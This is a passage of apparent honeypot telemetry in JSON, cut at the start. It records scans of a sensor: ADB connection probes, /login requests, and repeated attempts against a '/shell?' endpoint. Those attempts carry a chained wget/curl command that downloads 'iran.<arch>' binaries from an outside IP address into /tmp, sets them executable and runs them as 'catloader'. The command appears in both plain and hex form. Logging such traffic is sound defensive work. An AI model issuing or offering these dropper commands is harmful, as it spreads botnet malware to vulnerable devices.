356c2b2d4f2b61726d76356c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d6f2b61726d76356c3b63686d6f642b3737372b61726d76356c3b2e2f61726d76356c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d4f2b61726d76366c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d6f2b61726d76366c3b63686d6f642b3737372b61726d76366c3b2e2f61726d76366c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d4f2b61726d76376c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d6f2b61726d76376c3b63686d6f642b3737372b61726d76376c3b2e2f61726d76376c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d4f2b616172636836347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d6f2b616172636836343b63686d6f642b3737372b616172636836343b2e2f616172636836342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d4f2b6d6970737c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d6f2b6d6970733b63686d6f642b3737372b6d6970733b2e2f6d6970732b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d4f2b6d697073656c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d6f2b6d697073656c3b63686d6f642b3737372b6d697073656c3b2e2f6d697073656c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d4f2b706f77657270637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d6f2b706f77657270633b63686d6f642b3737372b706f77657270633b2e2f706f77657270632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d4f2b6d36386b7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d6f2b6d36386b3b63686d6f642b3737372b6d36386b3b2e2f6d36386b2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d4f2b73706172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d6f2b73706172633b63686d6f642b3737372b73706172633b2e2f73706172632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d4f2b7368347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d6f2b7368343b63686d6f642b3737372b7368343b2e2f7368342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d4f2b6172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d6f2b6172633b63686d6f642b3737372b6172633b2e2f6172632b6361746c6f6164657220485454502f312e310d0a486f73743a20<HONEYPOT>3a353530300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"b9c83f42-ea82-4644-b052-84b0fcd5182c","seq":1,"duration_ms":100,"bytes_in":1991,"bytes_out":78},{"timestamp":"2026-10-05T14:44:32","port":5500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:5500\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?sh+/cd+/tmp;wget+http://94.154.43.242/iran.arm+-O+arm||curl+http://94.154.43.242/iran.arm+-o+arm;chmod+777+arm;./arm+catloader;wget+http://94.154.43.242/iran.armv4l+-O+armv4l||curl+http://94.154.43.242/iran.armv4l+-o+armv4l;chmod+777+armv4l;./armv4l+catloader;wget+http://94.154.43.242/iran.armv5l+-O+armv5l||curl+http://94.154.43.242/iran.armv5l+-o+armv5l;chmod+777+armv5l;./armv5l+catloader;wget+http://94.154.43.242/iran.armv6l+-O+armv6l||curl+http://94.154.43.242/iran.armv6l+-o+armv6l;chmod+777+armv6l;./armv6l+catloader;wget+http://94.154.43.242/iran.armv7l+-O+armv7l||curl+http://94.154.43.242/iran.armv7l+-o+armv7l;chmod+777+armv7l;./armv7l+catloader;wget+http://94.154.43.242/iran.aarch64+-O+aarch64||curl+http://94.154.43.242/iran.aarch64+-o+aarch64;chmod+777+aarch64;./aarch64+catloader;wget+http://94.154.43.242/iran.mips+-O+mips||curl+http://94.154.43.242/iran.mips+-o+mips;chmod+777+mips;./mips+catloader;wget+http://94.154.43.242/iran.mipsel+-O+mipsel||curl+http://94.154.43.242/iran.mipsel+-o+mipsel;chmod+777+mipsel;./mipsel+catloader;wget+http://94.154.43.242/iran.powerpc+-O+powerpc||curl+http://94.154.43.242/iran.powerpc+-o+powerpc;chmod+777+powerpc;./powerpc+catloader;wget+http://94.154.43.242/iran.m68k+-O+m68k||curl+http://94.154.43.242/iran.m68k+-o+m68k;chmod+777+m68k;./m68k+catloader;wget+http://94.154.43.242/iran.sparc+-O+sparc||curl+http://94.154.43.242/iran.sparc+-o+sparc;chmod+777+sparc;./sparc+catloader;wget+http://94.154.43.242/iran.sh4+-O+sh4||curl+http://94.154.43.242/iran.sh4+-o+sh4;chmod+777+sh4;./sh4+catloader;wget+http://94.154.43.242/iran.arc+-O+arc||curl+http://94.154.43.242/iran.arc+-o+arc;chmod+777+arc;./arc+catloader","summary":"","payload_hex":"474554202f7368656c6c3f73682b2f63642b2f746d703b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d4f2b61726d7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d6f2b61726d3b63686d6f642b3737372b61726d3b2e2f61726d2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d4f2b61726d76346c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d6f2b61726d76346c3b63686d6f642b3737372b61726d76346c3b2e2f61726d76346c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d4f2b61726d76356c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d6f2b61726d76356c3b63686d6f642b3737372b61726d76356c3b2e2f61726d76356c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d4f2b61726d76366c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d6f2b61726d76366c3b63686d6f642b3737372b61726d76366c3b2e2f61726d76366c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d4f2b61726d76376c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d6f2b61726d76376c3b63686d6f642b3737372b61726d76376c3b2e2f61726d76376c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d4f2b616172636836347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d6f2b616172636836343b63686d6f642b3737372b616172636836343b2e2f616172636836342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d4f2b6d6970737c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d6f2b6d6970733b63686d6f642b3737372b6d6970733b2e2f6d6970732b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d4f2b6d697073656c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d6f2b6d697073656c3b63686d6f642b3737372b6d697073656c3b2e2f6d697073656c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d4f2b706f77657270637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d6f2b706f77657270633b63686d6f642b3737372b706f77657270633b2e2f706f77657270632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d4f2b6d36386b7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d6f2b6d36386b3b63686d6f642b3737372b6d36386b3b2e2f6d36386b2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d4f2b73706172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d6f2b73706172633b63686d6f642b3737372b73706172633b2e2f73706172632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d4f2b7368347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d6f2b7368343b63686d6f642b3737372b7368343b2e2f7368342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d4f2b6172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d6f2b6172633b63686d6f642b3737372b6172633b2e2f6172632b6361746c6f6164657220485454502f312e310d0a486f73743a20<HONEYPOT>3a353530300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"d9a1b8e0-bfb3-471a-97c2-901d3b98c0d7","seq":1,"duration_ms":100,"bytes_in":1990,"bytes_out":78},{"timestamp":"2026-10-05T13:02:27","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0010\u0000\u0000\u0007\u0000\u0000\u00002\u0002\u0000\u0000����host::\u0000","payload_hex":"434e584e00000001001000000700000032020000bcb1a7b1686f73743a3a00","method":"","user_agent":"","ja3":"","session":"a2b018e7-468b-414a-9f6a-37c88da0b32c","seq":1,"duration_ms":100,"bytes_in":31,"bytes_out":13,"enriched":{"digest":"6c0944affd4f5212","strings":["CNXN","host::"]}},{"timestamp":"2026-10-05T09:45:41","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0010\u0000\u0000\u0007\u0000\u0000\u00002\u0002\u0000\u0000����host::\u0000","payload_hex":"434e584e00000001001000000700000032020000bcb1a7b1686f73743a3a00","method":"","user_agent":"","ja3":"","session":"2a834783-f006-4a5e-8086-febd9ffd138e","seq":1,"duration_ms":100,"bytes_in":31,"bytes_out":13,"enriched":{"digest":"6c0944affd4f5212","strings":["CNXN","host::"]}},{"timestamp":"2026-09-27T21:32:12","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/login","summary":"","payload_hex":"474554202f6c6f67696e20485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"2337acd8-55c3-4ae3-9e47-fe70bcc3d753","seq":1,"duration_ms":100,"bytes_in":103,"bytes_out":78},{"timestamp":"2026-09-27T19:29:38","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/login","summary":"","payload_hex":"474554202f6c6f67696e20485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"f1ce0dd4-a61c-44e3-8482-532f8e9f82e7","seq":1,"duration_ms":101,"bytes_in":103,"bytes_out":78}],"http_methods":[{"method":"GET","count":26}],"distinct_ports_total":4,"top_paths":[{"path":"/login","count":20,"ports":1},{"path":"/shell?sh+/cd+/tmp;wget+http://94.154.43.242/iran.arm+-O+arm||curl+http://94.154.43.242/iran.arm+-o+arm;chmod+777+arm;./arm+catloader;wget+http://94.154.43.242/iran.armv4l+-O+armv4l||curl+http://94.154.43.242/iran.armv4l+-o+armv4l;chmod+777+armv4l;./armv4l+catloader;wget+http://94.154.43.242/iran.armv5l+-O+armv5l||curl+http://94.154.43.242/iran.armv5l+-o+armv5l;chmod+777+armv5l;./armv5l+catloader;wget+http://94.154.43.242/iran.armv6l+-O+armv6l||curl+http://94.154.43.242/iran.armv6l+-o+armv6l;chmod+777+armv6l;./armv6l+catloader;wget+http://94.154.43.242/iran.armv7l+-O+armv7l||curl+http://94.154.43.242/iran.armv7l+-o+armv7l;chmod+777+armv7l;./armv7l+catloader;wget+http://94.154.43.242/iran.aarch64+-O+aarch64||curl+http://94.154.43.242/iran.aarch64+-o+aarch64;chmod+777+aarch64;./aarch64+catloader;wget+http://94.154.43.242/iran.mips+-O+mips||curl+http://94.154.43.242/iran.mips+-o+mips;chmod+777+mips;./mips+catloader;wget+http://94.154.43.242/iran.mipsel+-O+mipsel||curl+http://94.154.43.242/iran.mipsel+-o+mipsel;chmod+777+mipsel;./mipsel+catloader;wget+http://94.154.43.242/iran.powerpc+-O+powerpc||curl+http://94.154.43.242/iran.powerpc+-o+powerpc;chmod+777+powerpc;./powerpc+catloader;wget+http://94.154.43.242/iran.m68k+-O+m68k||curl+http://94.154.43.242/iran.m68k+-o+m68k;chmod+777+m68k;./m68k+catloader;wget+http://94.154.43.242/iran.sparc+-O+sparc||curl+http://94.154.43.242/iran.sparc+-o+sparc;chmod+777+sparc;./sparc+catloader;wget+http://94.154.43.242/iran.sh4+-O+sh4||curl+http://94.154.43.242/iran.sh4+-o+sh4;chmod+777+sh4;./sh4+catloader;wget+http://94.154.43.242/iran.arc+-O+arc||curl+http://94.154.43.242/iran.arc+-o+arc;chmod+777+arc;./arc+catloader","count":5,"ports":1},{"path":"/","count":1,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Connection","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Accept-Language","value":"en-GB,en;q=0.5","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"Linux Gnu (cow)","notable":false}],"distinct_sets":3,"events_with_headers":8},"tags":[],"data_as_of":"2026-10-05T22:22:57.732101+00:00"}